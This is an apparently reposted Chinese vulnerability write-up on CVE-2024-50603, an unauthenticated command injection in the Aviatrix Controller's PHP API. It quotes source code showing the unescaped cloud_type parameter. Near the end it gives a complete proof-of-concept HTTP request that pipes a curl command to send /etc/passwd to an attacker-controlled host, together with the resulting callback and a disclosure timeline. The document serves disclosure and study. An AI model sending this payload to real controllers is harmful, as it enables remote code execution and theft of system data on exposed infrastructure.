CVE-2024-50603
CVE-2024-50603:深入分析
Aviatrix 可帮助企业组织提供专用基础设施,以支持关键业务应用并加快云计划的实施。Aviatrix 网络平台将业界领先的软件定义网络与协调的本地服务相结合,统一了云,提供简化的操作、优化的云成本、更高的安全性和先进的网络。Aviatrix 云网络平台根据最佳实践架构框架调整云足迹,同时通过基础设施即代码(Infrastructure-as-Code)加速部署。[1]
Shodan 显示有 681 个公开暴露的 Aviatrix 控制器:
使用 AWS 和 Azure Marketplaces 部署了 Aviatrix 云网络控制器,以提取代码。
AWS 上的磁盘镜像是安全的, 无法直接访问文件。此外,应用程序不允许访问控制台,所以 也无法从控制台访问。不过,在从 Azure Marketplace 安装软件的过程中, 可以直接登录机器,并在安装过程结束前复制所有文件进行分析,而机器的配置是禁止 SSH 访问的。
访问文件后, 注意到暴露的 API 是一个用 PHP 编写的封装程序,它接收来自用户的数据,将其添加到系统命令中,并使用适当的参数运行 cloudx_cli 应用程序。下面是一个示例:
} else if ($action == "forget_controller_password") {
$username = $params["username"];
if (empty($username)) {
$res["reason"] = "Username cannot be blank.";
} else {
$cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " user_login_management reset_password";
$cmdstr .= " --user_name " . escapeshellarg($username);
$ret = exec_command($cmdstr, $rtn_file);
if (preg_match("/true/", $ret[0])) {
$res["return"] = true;
$res["results"] = json_decode($ret[2])->text;
} else {
$res["reason"] = $ret[1];
}
}
}
在本例中,使用 escapeshellarg 对用户提供的参数进行了正确的消毒。不过, 开始怀疑是否存在未正确使用该函数的情况。在运行了几条 grep 命令后, 发现有些参数确实没有使用这个函数。
脆弱行动 |
易损参数 |
飞行路径目的地实例列表 |
云类型 |
飞行路径连接测试 |
源云类型 |
case "list_flightpath_destination_instances":
$account_name = $params["account_name"];
$region = $params["region"];
$vpc_id_name = $params["vpc_id_name"];
$cloud_type = $params["cloud_type"] ? $params["cloud_type"] : "1";
if (empty($account_name) || empty($region) || empty($vpc_id_name)) {
$res["reason"] = "following parameters are required: account_name, region, vpc_id_name";
} else {
$cmdstr = "sudo " . CLOUDX_CLI . " --rtn_file " . escapeshellarg($rtn_file) . " resource_report $cloud_type ";
$cmdstr .= $action == "list_flightpath_source_instances" ? "src_instances" : "dest_instances";
$cmdstr .= " --account_name " . escapeshellarg($account_name);
$cmdstr .= " --region " . escapeshellarg($region);
$cmdstr .= " --vpc_id_name " . escapeshellarg($vpc_id_name);
$ret = exec_command($cmdstr, $rtn_file);
if (preg_match("/true/", $ret[0])) {
$res["return"] = true;
$res["results"] = json_decode($ret[2])->items;
} else {
$res["reason"] = $ret[1];
}
}
break;
要执行上述函数,需要查看一个 HTTP 请求,该请求需要一个名为 CID 的 API 会话标识符。然后,CID 参数的值会被附加到命令中。 由于 CID 的有效性检查是在 CLI 执行过程中进行的,因此任何值都可以使用。
function exec_command($cmdstr, $rtn_file, $cid_flag = false) {
global $dev_mode, $params, $res;
if (!$cid_flag) {
$sid = $_POST["CID"] ? $_POST["CID"] : $params["CID"];
if ($sid && $sid != "undefined") $cmdstr .= " --login_cid " . escapeshellarg($sid);
}
CVE-2024-50603 poc
最后,将所有部分整合在一起,由于函数 escapeshellarg 并未用于 cloud_type 参数,因此 能够添加管道并执行恶意函数。为了验证概念, 运行 curl 向服务器发送 /etc/passwd 的内容:
POST /v1/api HTTP/1.1
Host: 10.55.55.55
Content-Length: 177
Content-Type: application/x-www-form-urlencoded
action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1®ion=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+"@/etc/passwd"+https://address.controlled.by.the.attacker)
然后, 收到了服务器的回调,其中包含*/etc/passwd*文件的内容:
POST / HTTP/1.1
Host: address.controlled.by.the.attacker
User-Agent: curl/7.58.0
Accept: */*
Content-Length: 1971
Content-Type: application/x-www-form-urlencoded
Expect: 100-continue
root:x:0:0:root:/root:/bin/bash
(...)
azureuser:x:1001:1003:Ubuntu:/home/azureuser:/bin/bash
assetd-service-user:x:1002:1004::/home/assetd-service-user:/bin/sh
volume-scanner-orchestrator:x:113:65534::/home/volume-scanner-orchestrator:/usr/sbin/nologin
etcd:x:114:119::/var/lib/etcd/:/usr/sbin/nologin
披露时间表
2024-10-17: 漏洞说明已发送至 Aviatrix。
2024-10-18: 与 Aviatrix 安全团队会面。
2024-11-07: 补丁已发布,Aviatrix 的客户已收到通知。
2024-12-19:已修补漏洞的新版本。
2025-01-07: 公开披露漏洞。
原文始发于微信公众号(棉花糖网安情报站):CVE-2024-50603 Aviatrix Controller RCE 发布 poc
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论